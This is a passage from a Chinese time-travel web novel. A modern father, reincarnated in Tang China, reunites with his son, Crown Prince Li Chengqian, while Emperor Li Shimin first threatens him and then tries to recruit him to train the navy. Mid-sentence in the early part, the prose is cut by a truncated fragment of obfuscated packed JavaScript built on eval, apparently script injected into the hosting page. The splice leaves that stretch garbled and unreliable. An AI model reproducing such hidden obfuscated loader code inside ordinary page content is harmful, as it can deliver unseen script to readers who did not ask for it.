渤海高氏这一支在唐代隶属于山东士族,但并非汉晋旧族,通过攀附陈留高氏和齐国高氏将姓氏溯源至春秋,以此形成郡望。 高氏的这一番努力,其实用处不大,同隋唐皇室把自己往弘农杨氏和陇西李氏上靠的操作一样,糊弄下自己而已,正经世家大族根本就不带搭理的。 唐人武德充沛,这副身子的主人也不例外,是个游侠,没什么建功立业的欲望,执着于自由,遍访名山大川,为何四十岁英年早逝,暂且不知。 “一个死透的人,怎么可能起死回生?” 高慎微转身,好浓的杀意! 原身是游侠,想必得罪过不少人,用人家的身体,承担人家的业障,十分合理。 “在下生死走了一遭,许多记忆不甚清楚。过往若有冒犯之处,还请阁下告知。” 来人冷笑一声,“夺子之仇,高先生觉得该如何了断?” 夺子之仇? 高慎微仔细打量来人面相,看样子阎立本为帝王入画时,帝王中年发福了。 “草民高慎微,拜见大唐皇帝陛下。” 李世民目光凌厉,逼视礼毕的高柏,如今应该叫高慎微。 “高先生还没有回答朕的问题,夺子之仇当如何?” 高慎微道:“转世轮回乃是天数,怎说是强取豪夺?陛下这是要问罪于天?” 李世民哈哈一笑,怒意随着笑意,在他眼底渐渐凝聚。 “好一张利嘴,承乾就是这么被教坏的。” 高慎微缓缓开口,面色凛然又坚定,“高明他是个好孩子,不存在被谁教坏了。” 李世民冷笑,“你不属于这里,不该来这里的。” “儿行千里,父母担忧,何况是跨越千年时空的远行。草民不来,才是枉为人父。” 李世民道:“你的到来,只会害了承乾。” 高慎微面前含笑,“愿闻其详。” “你的到来,承乾不会安心做一个太子,承乾现在的身份,有这样的想法难道不是害了承乾?” 高慎微道:“高明,他不是一个有始无终之人,哪怕不喜欢这里,他仍然决定回来,陛下为何不肯相信他?” “相信?”李世民嘲讽一笑,“这话从承乾嘴巴里说出来,朕不稀奇。从你这个年纪的人嘴里说出来,倒是让朕大为震惊。地方也是小朝廷,你这个后世的小吏,用你半生的经历告诉朕,信任这种东西真的存在吗?” 高慎微哑然,一时不知该如何作答。 成年人的世界,遍布尔虞我诈,父母子女之间,也常有对簿公堂的时候。 李世民是皇帝,身居高位的人,只会相信自己能掌控的现实,不能掌控的一切皆为虚妄。 “看,你这个老狐狸也知道,自己说了不算的事情,任何人的承诺都是空话。” 高慎微轻笑,“陛下的道理霸道,却是事实,草民无可反驳。” 李世民笑道:“看样子后世,也不是那样的美好,想要活着,活得有尊严,活得像个人,一样要进行无形的厮杀。高先生,你把高明养的那样温厚纯善,在人**的现实中,他能活得了吗?” 高慎微道:“高明这孩子,知世故而不世故,温良仁善却不是软弱可欺。陛下,这不也正是您要留下他的原因吗?” 李世民含笑点头,没有过多的欲望却有着极高的见识和修养,有仁慈温厚的心肠也有杀伐果决的手段,他身后李承乾会是一个优秀的守成之君。 “正因如此,你才不应该来,乱了承乾的心神,毁了朕的太子。” “陛下想杀了草民?” 李世民负手而立,哈哈一笑,“猜对了!” 大唐的太子不容有任何闪失,得知高柏借尸还魂成了高慎微,他是真的动了杀心,可李承乾那兔崽子的脾性,他太了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对方是个练家子,高手过招,一眼就看出虚实,李世民收了攻势,没见过的招式,吃亏的概率极大,万一失手了,让李承乾知道了,丢人就丢大发了。 “先生这套拳法不俗!” 皇帝没有动手的意思,高慎微也收了防守之势,答道:“太极拳,防身而已!” 李世民点点头,“冒昧的问一句,先生的拳法如此了得,承乾的拳脚功夫,怎么看得人眼睛疼?” 第169章 赌注 “陛下有所不知,后世的拳脚功夫,就是强身健体,可有可无,高明在拳脚上没什么天分,草民也就不强求了。” 李世民不赞成这个观点,“朕知道,后世有高科技武器,厉害的能直接灭一国,拳脚功夫显得不那么重要。可是在朕看来,高科技武器也不是取之不尽,用之不竭。越是厉害的武器,越不能轻易动用。没了高科技武器压制,能不能活下来,就是拳脚功夫硬碰硬。 再有,一个国家的老百姓不好武事,没有血性,长此以往,可不是什么好事。古人有言:生于忧患,死于安乐,高先生,你是饱读诗书之人,应该明白这个道理。” 高慎微深吸一口气,由衷向李世民拜了一拜,“陛下高见,草民佩服。” 李世民抚掌,心底杀意烟消云散。 “先生若是个废物,朕真的会十分难受的。” 父子之情,输给一个废物,太侮辱他了。 帝王爱才,高慎微文治且不说,单这套不俗的拳法,足以让他留人,且他相信高慎微武事上,绝不止这一套拳法。后世集大成的拳法,实在是太有价值了。 “高先生能文能武,若能位列朝堂,便能日日与高明相见。” 今时的水师,未来的海军。 李承乾所说的单兵素质,高慎微就算不是顶尖,也绝对不俗,自己送上门来,不用白不用。 高慎微缄默不言,这是觉得高明一个牛马不够,还要拉上他一起。 “先生为朕所用,不仅可以日日见到高明,先生的成就,也绝不会只是一个小吏。” 李世民翻身上马,居高临下看着高慎微,“朕今日所言,先生好生考虑。” 望着李世民的背影,高慎微发出一声长叹,等了半个多月,没等来高明,等来了李世民,上来就是一通物理兼精神输出。 太险了,刚才真是太险了,他用太极以柔克刚的属性,几次化解了李世民的攻势。但是,若李世民执意纠缠,他一个技巧型选手,很难干得过天赋型选手。 李世民驾马出去很远,召出等候在此处的玄甲军。 “那个高慎微,给朕盯紧了他。” 李承乾正在东宫准备礼物,平行时空见到亲爹,已经不是老乡见老乡能形容的了。 “太子殿下,陛下来了,人已经到了显德门了。” 李承乾放下手头上的事物,出了大殿接驾,李世民扶了一把,没让李承乾拜下去,径直往显德殿去,顺道驱散了宫人。 “承乾,你对太极拳知道多少?” 太极拳? 李承乾心下一凛,无论是他,还是另一个他,都没跟皇帝提过太极拳,皇帝怎么可能知道? “陛下去见过我爸了?” 李世民点头,“朕很好奇,到底是何方神圣,能让朕的孩子牵挂在心。” “陛下跟我爸过招了?” 李世民笑道:“都是军人,切磋一二,有什么问题吗?” “陛下,你可是能拉动巨阙天弓,带人冲锋陷阵的马上天子,你跟我爸动手,分明是欺负人。” “哈哈……”李世民满眼嫌弃看着李承乾,“你对你两个老子的拳脚功夫,心里没有一点儿数。” 李承乾:…… “我爸没有天生神力,跟陛下动手,他赢得概率不大。” 李世民道:“高慎微硬功夫及不上朕,可他那套太极拳法,技巧极强,弥补了他硬功夫的不足。这套拳法于那些体格不够威武雄壮的兵丁,大有裨益。” 这么一说,李承乾就听懂了,“陛下想让臣去游说,让我爸去教大唐的将士打太极拳?” 李世民点头,露出孺子可教的笑容。 “火器用于战场,在开战之初,能够取得巨大的成就,鼓舞士气人心。火药用尽,火器就失去了作用,此时拼的就是将士的硬实力,所以说,提高将士的硬实力,仍然是提高军队战力的根本。。” 李承乾道:“这个事情,臣开口,我爸就是不愿意也不会拒绝,臣不能向我爸开口。” “承乾,你是大唐的太子,不要感情用事。” 李承乾道:“陛下,臣为您驱使不够吗?我爸他都已经退休了,就是现在说的乞骸骨,他现在只需要颐养天年。” 李世民不以为然,自顾在主位上落座,“承乾,咱们父子二人打个赌如何?” 李承乾摇头,“您多给了三万钱,可远远达不到养猞猁,养食铁兽的财力,臣赌不起。就是养不起,臣也不赌,这种没有价值和意义的金钱投入,臣可不干。” 李世民轻笑,傻乎乎的兔崽子,他长孙无忌养猞猁,还不是某个不知道好歹的崽子喜欢这些小东西,还能拉近太子与重臣的距离。 “朕若能让高先生帮朕训练水师单兵,出入朝堂,从今以后,你要唤朕阿耶,永远不许再改。” 李承乾冷笑,“我爸不是赌注!再有,陛下拿臣威胁我爸,我爸除了低头他还能怎么办?臣不会给陛下威胁我爸的机会。” 闻言,李世民哈哈一笑,丢了个白眼给李承乾。 “对小人可以威逼利诱,驭君子绝非此道。朕怎么做,你看着,学着就是。” 李承乾道:“陛下之前拿象儿和太子妃威胁臣,是觉得臣是小人?” 李世民并不在意李承乾的冒犯,淡淡解释,“儿子在父亲面前,就是个小无赖,跟小人没什么区别。承乾,想想你在两个老子面前的作为,耍无赖少了?” 李承乾面颊登时绯红,羞赧不已。 李世民乐了,难得见李承乾在他面前害羞。 “不拿你做威胁,让高先生心甘情愿为大唐效力,朕有这个手腕。承乾,朕可以许你拜高先生为亚父,从此你在人前名正言顺唤他一声父亲。” 得知老爸来了,皇帝恨得咬牙切齿,直接动了杀心,动手打了一架过后,又想收编,还愿意成全他和老爸的父子缘分。 老爸在朝,他的软肋又添了一个,往后所作所为,都要深思熟虑,皇帝更是轻易不能得罪。 他的太子之位稳固,老爸为了他未来皇帝做的舒服,必定全心全意为大唐当牛做马。 “我爸不是赌注,臣不赌!” 李世民瞥了那一堆礼物,淡淡开口:“你不想,那赌就不赌!” 赌不赌,都改变不了他要收服高慎微的决定。 第170章 相见 皇帝看重的是老爸五年军旅生涯,脑子里先进的军事训练方法。 李承乾内心大写的服,皇帝就是皇帝,哪怕恨得咬牙切齿,只要发现有利可图,立刻化敌为友。 总而言之,一切服务于政治。 “臣若是人前喊出那句亚父,才是将我爸架在火上烤。陛下,您可真阴险。” 李世民顿住,看向李承乾,“认一个亚父,让你安心留在这里,你觉得朕阴险,朕就阴险了。毕竟,嘴巴长在你身上,你说什么就是什么。” 之前挖苦皇帝的话,皇帝原封不动的还了回来,李承乾做了个请的动作,“陛下,没事儿的话,您可以去两仪殿批奏疏了。” 兔崽子下了逐客令,李世民也不气恼,“那个望远镜,你把图纸给朕,朕命少府监多做几个,有大用处。” 无事不登三宝殿的主儿,李承乾不耐烦的回答:“图纸在少府监,您自个儿召官员问。这个时代的琉璃太差劲了,贡品也不过尔尔,” 这话听得李世民很不舒服,可李承乾见过更好的,看不上很正常,李世民思索片刻,“琉璃不好的话,朕让人找上等的水晶给你,应该符合你的要求。” 李承乾听罢摇头,“水晶里面杂质也不少,也好不到哪里去,改良琉璃的纯度,更现实一些。” “你会吗?” 李承乾摇头,“臣那点儿浅薄的化学知识,最多只影响琉璃纯度的物质是什么,以及琉璃制作的原材料选什么最好。” “这个简单,你没做过不要紧,大唐有制作的流程,你看着流程,根据你所学的知识进行改良,少府监和工部会全力配合你。” 李承乾道:“陛下,臣可不保证成功。” 李世民笑道:“朕允许你白折腾一场。” 他当然知道李承乾失败的概率极大,可万一成功了呢?折腾一场有成功的可能,不折腾就没可能成功。 “承乾,你什么都好,就是太感情用事了。” 皇帝说这话,无非不想让他破坏皇帝的收编计划,李承乾不以为然,“陛下要是去了未来,有一个同时代的至亲,甘冒生死跨越时空相见,就不信您能忍得住。” 李世民笑容逐渐消失,他对上对下的父子关系,兔崽子是知道怎么诛心的。 “未来的人,情感十分厚重啊!” 难得见皇帝怅然,李承乾表示理解,生一堆儿子死几个,顶多掉几滴眼泪,狠心的眼睛都不眨一下。生一个儿子,别说死,就是伤,也能让父母心痛如刀绞。 高祖光嫡子就有四个,庶子一双手都数不完,以皇帝玄武门的战绩,高祖九年太上皇生涯的憋屈,皇帝要是消失去未来,高祖多半会拍手称快,甚至巴不得皇帝多受些磋磨。 “陛下,您要是真去了未来,还有臣这个老乡,到时候臣带您上天入地,去看航母,看动物大迁徙,臣能去的地方,只要您说,臣就带您去。” 总算听到几句中听的,李世民忍不住打趣,“养宠物你都是蹭舅舅的,能舍得钱带朕出去玩儿?” 李承乾笑道:“话不能这么说,就目前来看,陛下确实尽力养好臣了。” 李世民笑而不语,嘴硬心软的小兔崽子。 “朕还以为你狼心狗肺,全无心肠。” 李承乾哈哈一笑,“陛下若是要臣学老李家那一套,臣也可以学。” 李世民:…… “才夸了你几句,真不经夸啊!” 李承乾收好送给老爸的礼物,看向皇帝,“臣不会让我爸掺和进这些烂摊子的,您死了那条心吧!” 李世民淡淡一笑,“父母之爱子,则为之计深远。承乾,为了你,跨越时空的借尸还魂他都敢冒险一试,为了你将来的江山社稷,他一定会拼尽全力的。” “臣去宜春苑看秧苗了,您老人家可以回去了。” 这逐客令下得,一点儿不带犹豫,李世民无奈叹气,姓高的过来,李承乾是肉眼可见的高兴。 翌日破晓,李承乾带着一堆礼物到高家。 随从放下礼物,李承乾驱散了无关紧要的人,就直接扑到了高慎微怀里。 “老爸,你真的来了,我都快想死你了。” 高慎微搂着李承乾,声音哽咽,“爸爸也想明明。” 李承乾擦了眼泪,指了指放在案上的茶包,“我做的红茶,整整三斤,早知道您要过来,我就不送人,全给您留着。” “我留一斤就够了,剩下的你拿回去吧!” 李承乾不解,“老爸,你不爱喝红茶了?” 高慎微避开这个话题,拉着李承乾落座,“唐人好武,名不虚传。这里的安保及不上未来,武事你还是勤于练习。” 李承乾一口应下,“好,爸爸难得要求我学东西,我练,一定好好练。” 高慎微笑道:“你从小就让人省心,极是好学,根本就不需要我要求你什么。” “老爸,您不喜欢喝红茶,那喜欢什么茶?我让人去弄来给您。” 高慎微深吸一口气,看着李承乾,眼底满是慈爱与不舍,“承乾,爸爸在这里只有一百二十八天的时间。眼下,已经过去了二十三天,还有一百零五天。时间一到,爸爸就要哪儿来回了。” 李承乾的笑容僵在嘴角,那岂非,他与老爸相处的时日不多了。不过很快又化作一片释然,牛马他一个人做就行了,父亲退休了,该颐养天年。 “皇帝见了爸爸之后,听他的意思,是要您入朝为官,为他训练水师。他很有自信收编您为他效忠,我是担心您答应了他的请求。现在看来,皇帝是空盘算一场,我也不用整日不安。” 高慎微苦笑,“皇帝陛下,真看得起我啊!能允许你出来见我,看样子陛下对你应该不错。” “暂时还不错,谁知道以后怎么样。” 不过他无所谓,皇帝就是真的宰了他,他就是回到爸爸身边,反而巴不得他宰了他。 “明明,他是皇帝,该哄他的时候哄哄他,爸爸不是要求你放下过往,跟他父慈子孝,是希望你记住他的身份,封建的专制君主,不要随便触怒他,他不杀你,却有的是法子整治你。一切的一切,都以保护好自己的安全为上。” 第171章 不会久留 “乘兴而去,败兴而归。怎么,朕的承乾挨骂了?” 李承乾抬眸看过去,只见皇帝眉眼含笑,看样子心情很是不错。 “想跟您说件事情。” 李世民示意李承乾落座,“高先生想入朝为官?没有问题,朕立刻安排,绝不委屈了他。” 李承乾摇摇头,“我爸这次过来,只能待一百二十八日,时间到了,他就回去了。” “什么?”李世民颇觉失望,“怪不得,你愁眉苦脸的,朕知道了,往后你想什么时候出去见他,就什么时候出去见他,不用多说了。” 李承乾拱手一拜,谢过皇帝。 “高先生那套拳法,很适合你这种小胳膊小腿练。高先生离开之前,你批假结束上朝,朕许你只上早朝,早朝结束就去找高先生打拳。” 李承乾心情郁郁,整个人如霜打的茄子。 “陛下,臣也就跟您说了后世很多高科技产物,国家制度我一个字都没说,您跟我爸胡说了什么,我爸说我乱说话,没城府。” “你没说,朕还不能猜?” 李承乾大为不解,“您怎么猜出来的?” 李世民悠悠一笑,意味深长的看着李承乾,“你从来只是臣,不曾为君,哪怕位极人臣,没有统管一国,你也终究只是臣,这就是你与朕看人看事的不同。” 李承乾点头,他的确不曾为君。 “承乾,一个普通人,可以上天入地,可以同相隔万里的亲人借助手机对话。你说说,朝廷得强大到什么程度,才能一个平头百姓共享这些东西?八百里加急,非事关紧急,朕都不敢轻易用。你从长安发洛阳,半个多时辰就到了。朝廷得有怎样的掌控力,才敢让普通人随便乘坐高铁? 人是治理的根基,要保持这种强有力的治理,手上能用的必须是自己人。上次朕问你,后世之人是否人人持有火器。你告诉朕,只有部分专职人员能够持有,且火器的子弹都是严格限制,朕心里就有数了。一件冷冰冰的火器都防备成这样,何况是能够有资格操纵火器,或者解释规则的人。见了高慎微,一番交锋,朕就更加肯定猜测了。” 新时代人,李承乾对皇帝说得这些不做置评。 “我爸也让臣习武,臣也决定从明天开始,每天出宫去找我爸打太极拳。太极拳这种功夫,平常切磋还好说,战场复杂多变,在战场真的有用吗?” 李世民道:“你也不是完全不通武事,那套拳法适合切磋打擂,战场上突发情况太多,绝对的硬功夫胜过技巧型的拳法。不过,若习练者是同朕这般体格强健,天生神力硬功夫极强的人,就另说了。” 李承乾似懂非懂,却也没有再问,他又没打算和皇帝徒手搏斗,那是他绝对的短处, “朕要你习武,半带威胁你还不情不愿,高先生一句话,你就忙不迭的应下了,没良心!” 李承乾正欲挤兑回去,又想到老爸的嘱托,一番纠结过后开口:“陛下,我爸就在这里待几个月,臣要是天不假年在贞观十七年,还能回去孝养他,若在这里长命百岁,等臣回去我爸也作古了。臣长这么大,我爸第一次提出要求,臣也不好意思不全力以赴。” “喔豁?”李世民挑眉,似笑非笑看着李承乾,“你这么好学的吗?不要高先生要求,你自己博览群书?” “陛下有所不知,家父家母闲暇,多是看书、烹茶、练字……”说到这里,李承乾尴尬一笑,“臣也不好意思不合群,只能跟着父母一起看书,养成习惯之后就成了乐趣。” 李世民点点头,“以身作则,一时半刻容易,难得是以身作则一辈子。真是可惜了人才,他们夫妇若生在此间,朕就委任他为皇子师,公主师。” “可别了!”李承乾当即反驳,“青雀犯错,您不舍得惩罚青雀,直接拿王圭老爷子开刀。他上个月去世,没有青雀这一遭,他不至于临了被贬官憋屈一场。谁家父母谁心疼,臣可舍不得家父家母受此无妄之灾。” 李世民:…… “陛下,您用过晚膳了吗?” 李承乾发出了进膳邀请,李世民一时有些无措,从来只有他在东宫硬蹭。 “承乾开口留朕,高先生跟你说什么了?” 李承乾思索片刻,总不能说他爸怕他挨打,让他哄哄皇帝吧? 思来想去,将老爸的另一句话搬出来,“我爸说一个时代有一个时代的局限性,让臣不要抛弃时代去看待人和事。” 李世民轻轻一笑,他的脾气不好,高慎微是怕李承乾在他这里吃亏,可怜这天下的父母,都为了儿女殚精竭虑。 “可惜了,真是可惜了,如此人才,竟不能久留,不为为朕所用。” 李承乾都不想吐槽了,有他一个牛马就行了,还想压榨他老爸! “高先生是海军军人出身,必定熟悉水师训练,又深谙教化之道……” “陛下……”李承乾直接打断施法,“臣是离家在外的游子归家,我爸他不是。” 李世民默默闭嘴,涉及高慎微,这兔崽子浑身炸毛,李承乾吃软不吃硬,得顺毛摸。 “承乾,前人经验和实战积淀,后世之人集大成。为父想知道后世之人如何训练水师,古今对比,找出当下水师训练存在的不足,弥补不足,大唐的水师就会更强。 高先生远道而来,为父不去打扰他的清净,你要和他父慈子孝,哪怕为父看得眼睛疼,也依旧成全你。为父不要求太多,海军训练相关事宜,你可不能装聋作哑。” 就知道皇帝无事不登三宝殿,李承乾笑道:“臣猜陛下会亲自登门去问,为何还要对臣说这些话?” 李世民笑道:“朕说得是,大唐的水师,身为太子的你不能装聋作哑,可朕拜访高先生,朕与高先生关于水师训练相关,你可以装聋作哑。” 李承乾打趣道:“陛下,臣就是想造反,这水师也进不了长安,派不上用场,您不用这么防着臣吧?” 话是放肆,不过李承乾眼底并没有挑衅之色,李世民知道儿子跟他玩闹,也不气恼。 “这不是怕你护短,心疼高先生累着嘴巴了?” 李承乾:…… 第172章 新阿翁 皇帝挖苦人的本事,越来越厉害了。 但是,皇帝说得都是实话,在他看来,老爸这就是一场跨时空旅游,旅游就是玩儿,做什么牛马? 李承乾不做解释,向外喊了一声唤宫人进殿,吩咐摆膳,又遣了婢女去丽正殿告诉太子妃,他陪皇帝在显德殿用膳,晚间不过去了,请太子妃自行安置。 用过晚膳,李承乾径自去崇贤馆,整理众人百日里挑出来的典故,对其中的成语进行归纳,添加释义,标明出处。 父亲回来了,李象心里既是欢喜又是难受。 父王心热却面冷嘴冷,哪怕关心人,说出来的话又糙又冷。 父亲面热嘴热心热,也打他,但从不对他发脾气,说粗话,摆脸色。又得父亲疼爱,他自然欢喜。 难受的是,父亲不喜欢这里,他更愿意父亲回到未来,那个父亲愿意生活的时代。 “象儿,为父替你在弘文馆告了假,明日带你出去见一个人。” 李象凑到父亲身边,小心的问,“是什么人?” 李承乾附在儿子耳畔,“阿耶的老爸,你的另一个阿翁。” “高家阿翁?” 李承乾含笑点头,搜着李象发顶,“他是阿耶的父亲,更是良师益友,象儿,你会喜欢他的。” 能教出这么好的父亲,高家阿翁一定是个很好很好的人。 李象满心期待,“好,阿耶,那儿先回去了。” “回去?”李承乾抬头往外看了一眼,天色不早了,“是该回去早些睡觉了,那些算经、算术你学的怎么样?” 李象道:“阿耶找的那十数本算经、算术,现在就差《缀术》,太难了,儿看不懂。” “《缀术》?” 中国汉魏至隋唐水平最高的数学著作,古人通过《缀术》,能够准确地预测日食和月食的发生,李象这个年纪,看不懂太正常了。 李承乾揉揉李象后脑勺,语气温和,“看不懂先放放,明日回来阿耶教你。我回去的那个把月,常与你阿翁提起你,你阿翁也想见你。” 李象乖巧点头,“儿回去挑衣裳了,阿耶再见。” 李承乾含笑点头,目送李象出门。 翌日天色破晓,李象到显德殿请安,伺候父亲起身,随后去丽正殿去向嫡母请安。 李承乾照例去陪苏氏用膳,又一次被拒之门外,六个多月的身子,苏氏整个人圆润了不少,衣食住行都是最好的,却也免不了孕期容色憔悴。 妇人产子九死一生,苏氏再清楚不过,万一她生产不幸,不让夫婿看到她此刻的憔悴,夫婿心中她永远是二八年华的豆蔻少女,是东宫的贤妻良母,她的孩子在太子心中也能添些许分量。 汉武帝李夫人的操作,李承乾心里清明,只是照例每日来看苏氏,隔三差五送些新奇的小玩意儿,吃食之类的到丽正殿。 “太子妃,您总不见殿下,殿下心中怕是有怨,今日带皇长孙出去了。” 苏氏冷冷看了一眼开口的婢女,垂眸抚着已经隆起的小腹。 “苏家是殿下岳家,将我嫁入东宫,苏家家主却跑去效忠太子的死对头,换做谁都有怨气。太子没有迁怒于我,肯让我生下嫡子,已是厚待于我。我送走了周嬷嬷,就是警告你们什么话该说,什么话不该说。” 那婢女吓得跪地求饶,“春桃该死,太子妃恕罪!” 苏氏抬了抬手,“你出去吧!下不为例。” 春桃含泪道:“可殿下对皇长孙,好的太过了。奴婢自幼跟随太子妃,就是替太子妃委屈。” 苏氏叹气,春桃是忠仆,她不免多说几句,“皇后殿下崩逝很长一段时间,殿下与陛下剑拔弩张,东宫的日子水深火热,那段难熬的日子是我与象儿陪殿下熬过的,共患难的情分,注定了象儿在殿下孩子里的不同,这也是我与殿下其他姬妾不同的地方。 所以,大伯父公然违逆陛下的意思,扶持越王,为越王出谋划策,陛下有意敲打苏家,给殿下纳侧妃,殿下顾念我有身孕,以嫡子未出,不纳庶妃为借口推拒了。 殿下能送画于我,日理万机也不忘过来探视相陪,得知我孕中食欲不振,他隔三差五送来新奇的点心吃食。我与殿下,没什么男女之情,却有夫妻之情,君臣之义。 殿下若真的有意扶持象儿,取代我腹中的孩儿,要象儿学的必定是经邦治国之道,而不是算学。殿下多疼他几分没什么大不了,我若为此与殿下闹了龃龉,伤了君臣夫妻的情义,才是大大的不值。 春桃,你是陪着我长大的人,我当然知道你为了我好,可我希望你明白,不要好心办了坏事。主仆一体,你做和我做,没什么区别。就算你聪明绝顶,借刀杀人,也终有纸包不住火的那一天。杀子之仇,殿下是断不会容下我,我的孩子也会因此被君父厌恶。 你现在是丽正殿的管事姑姑,这样的话,我只对你说一次,丽正殿上下宫人婢女,见了皇长孙,无论任何时候都要以礼相待,不得冒犯半分。将来我腹中孩儿出世,皇长孙该有的体面也不能少一分。若让我知道你们背地里阳奉阴违,休怪我不念旧情。” 打发了春桃,苏氏从榻上起身,又去看李承乾之前送来的画像,一时悲从心来,她脸上起了斑,小腹隆起的并不厉害,却也生了些许裂纹。宫中自来以色侍人,待她生下孩子,东宫又添了新妃,她还有机会继续生育儿女吗? 高家 高柏在院子里打太极拳,李承乾拉着李象进去,看四下无人,一声“老爸”,一个虎扑上去,惊得李象掉了下巴,阿耶还有这么“调皮”的一面? “这是皇长孙?” 高慎微将李承乾扒拉开,拱手要行礼,李象已经先一步行了稽首大礼。 “爸,我儿子就是您孙儿,他见礼您受着就好。” 高慎微侧身避开,上前将人捞起来,白了一眼李承乾,“你也是没分寸的,这么小的孩子,什么都敢说,不怕吓着孩子。” 李承乾是他儿子毫无疑问,可李象是不是他孙儿有待考究,这礼哪能稀里糊涂的受? “阿翁莫怪阿耶,阿耶有苦衷的,再说了,孙儿胆子很大的。” 高慎微含笑点头,能接受李承乾的经历,还能毫无压力跟这个父亲相处,这么强的接受能力,胆子不大行吗? 第173章 性格缺陷 “老爸,象儿是我的儿子,就是您的孙儿。您说您儿子厉不厉害?出来玩儿一趟,给您带了个孙儿。” 高慎微笑笑,“你要是早些成亲,我在那边也有孙儿。” 李承乾脸上的笑瞬间消失,老爸没有逼婚过他,但他见识过同事被逼婚,那叫一个惨无人道。 “老爸,您不是说要教我打太极拳吗?我这多带一个学生,您不介意吧?” 高慎微笑道:“教一个也是教,两个也是教。” “阿翁,我阿耶的武事不太好。卫国公、舅公还有宫里的阿翁……” “象儿!”李承乾上前捂住儿子嘴巴,“能不能别在你阿翁面前提我的黑料?” 李象嘿嘿一笑,他觉得比起好男风,武事不佳压根儿算不上父亲的黑料。 “阿翁是阿耶父亲,就是象儿尊长,此处没有外人,阿翁唤我象儿。往后,象儿就是有两个阿翁疼爱的小孩儿了。” 小孩儿嘴巴真甜,高慎微蹲下身子,刚好与李象齐平,“你父亲常提起你,说你在算学上颇有天分,是个极其聪慧通透的孩子。” 李象羞红了小脸,未来的长辈真的不一样,除了父亲和眼前这位阿翁会这么同他说话,他所见的长辈,都是他需要仰望的,还不能轻易仰望,会被责骂僭越。 高慎微细细打量李象,那一双眼睛像极了幼时的高明,明亮聪慧,谦和温谨,略带着一分不易察觉的讨好之色。 讨好是人在社会生存的必修课,却不该出现在这样小的孩子身上。 高慎微无声的吐出一口浊气来,李象未知人事尚且这般,承乾太子身涉朝局同父亲失和,又有兄弟虎视眈眈的盯着,高明穿回来又吃了多少苦头才有如今的局面? 来这里超过两旬时间,他也打听过有关承乾太子的过往,众人都道是天子盛宠,太子无双。 历史的贞观十三年,尚未疯魔的太子,拜师宴被房玄龄公然羞辱,皇帝事后一言不发。 贞观第一相,皇帝绝对的心腹,这般造次且观皇帝事后的态度,以及魏王泰翻版天策府的配置,基本向大唐朝廷宣布承乾太子的政治死亡。 也是在这一年,曾受举朝称颂的承乾太子,开始走上一条不归路,寄希望于旁门左道夺回盛宠,殊不知鬼神之术为统治者的绝对忌讳。 若非李世民爱惜名声,又对嫡子有着特殊情愫,在君王和父亲的角色反复横跳,承乾太子大抵也等不到彻底疯魔,以谋反被废。 “阿翁,你怎么哭了?” 高慎微慌忙擦了眼泪,转身一把抱住高明,想到另一个承乾的疯魔,那是高明的来时路啊! 回来这里,是高明的选择,他素来不干涉孩子的抉择,此刻却想自私一些,顽固一些,强行将高明的魂魄从这个时空抽离。 “爸,你……” 李承乾一时不知该如何安慰,更不敢跟着一起哭,惹得老爸更加伤心。 思及此处,李承乾强行挤出笑来,“老爸,这可是您第一次抱着我哭,等我回去,我一定告诉我妈。” 高慎微破涕为笑,捏了下承乾的脸,“你在我怀里哭了那么多年,我只会心疼你,我哭了一次你却要笑话我。” 李承乾道:“我就是心疼老爸,才不敢哭,逗您笑,哭久了头疼。我阿娘有气疾,外祖母出身渤海高氏,也不知这气疾源于长孙氏还是渤海高氏。万一是后者,老爸,您现在用得可是渤海高氏子弟的身体。” 高慎微轻轻一笑,抚上儿子鬓发,照理说,轮回千年高明不该是这份心性,怎么说也该是个老谋深算的狐狸。 高明不曾细说过轮回过往,他可以猜得到,结局大多应该都是不好的。 每一次新生,充斥进脑海里的记忆,对人的精神是一种莫大的痛苦。 人体潜意识自我保护的机制,进行记忆的更新换代,迅速植入当下的记忆,并且潜意识里不断掩盖过往。 这大概就是,为何高明拥有千年的记忆,却仍然跟个青瓜蛋子,糊里糊涂却又一点就透。 皇帝现在事事迁就,只是因为高明身上未来的学识,正值壮年的皇帝,对一切有着绝对的掌控力,相信太子脱不开控制。 等到帝王晚年,病痛缠身,体弱无力,就另说了。 唐玄宗一日杀三子,李家的皇帝,深情的让人感动,薄情的让人寒心,绝情的让人恐惧。 高明执意留在这里,他不可能强行带走高明,他在这里待不长久,未来百日,他得想办法帮助高明,弥补高明性格上的缺陷。 否则,高明也很难长久。 高宅用过早膳,歇了半个时辰时间,高慎微在院子里教李承乾打太极拳,李象也跟着一起打。 四十八式太极,他先教了前八个基本动作,高慎微忙出了一身的汗,好在功夫不负有心人,李承乾打的也像模像样。 看一遍李象打的太极拳前八式,高慎微瞬间明白,李世民为什么会那么嫌弃李承乾的武事。 两晋至隋唐,四百年动乱,物竞天择的原则之下,能活下来的人,那都是混乱厮杀出来的猛人,无论是体格或是智商,都是其中的佼佼者。 生物繁衍后嗣具有差异性,高明典型的遗传的智商没遗传到体格,高明的武事放到隋唐这种猛人横行的时代,十分辣眼睛。 新时代的七八十年,老百姓不用厮杀也能活下来,医疗进步,保胎技术越来越厉害,只要怀上,没检查出太大问题就能养活。 武事上,李世民看不上的不独高明,拉一个现代体育生到唐朝,李世民看着照样觉得辣眼睛,非体育生都是不堪入目。 “爸,您别气馁,儿子我会努力练。” 打五禽戏可以忽悠着来,打太极拳绝对不能马虎,长这么大,老爸就要求了他这么一件事情,没有天分,勤能补拙也得打好太极拳,在老爸离开之前,打一出完整的太极拳给老爸看。 “明明,我想见一见皇帝陛下。” 李承乾顿了一顿,小心问道:“不会是吐槽我打太极拳辣眼睛吧?” 高慎微拍拍儿子肩膀,认真回答:“放心,你打的这个样子,放在中学里头中等偏上。” 李承乾正要说话,就听院外急促的脚步声,吴顺隔着院门通报。 皇帝来了! 第174章 浅谈教化 李承乾带了李象出宫,李世民一早就知道,可即便如此,在看到李象得那一刻,心里头仍是极其不痛快。 儿子叛变,心里只这个来自未来的邪门老爸,孙子也要上心一个邪门阿翁了! 是可忍孰不可忍! 众人相继见礼,李世民脸上遍布笑意,温和儒雅一副礼贤下士模样,一把扶住行礼的高慎微,“快免礼,高先生太见外了。” 姓高的也就在这里待上百十来日,争一时长短,哪有水师训练更重要,忍辱负重! “承乾,朕与高先生有要事商榷,你带着象儿别处玩儿去。” 李承乾心中不愿,却也依礼应声,带着李象退出院子。 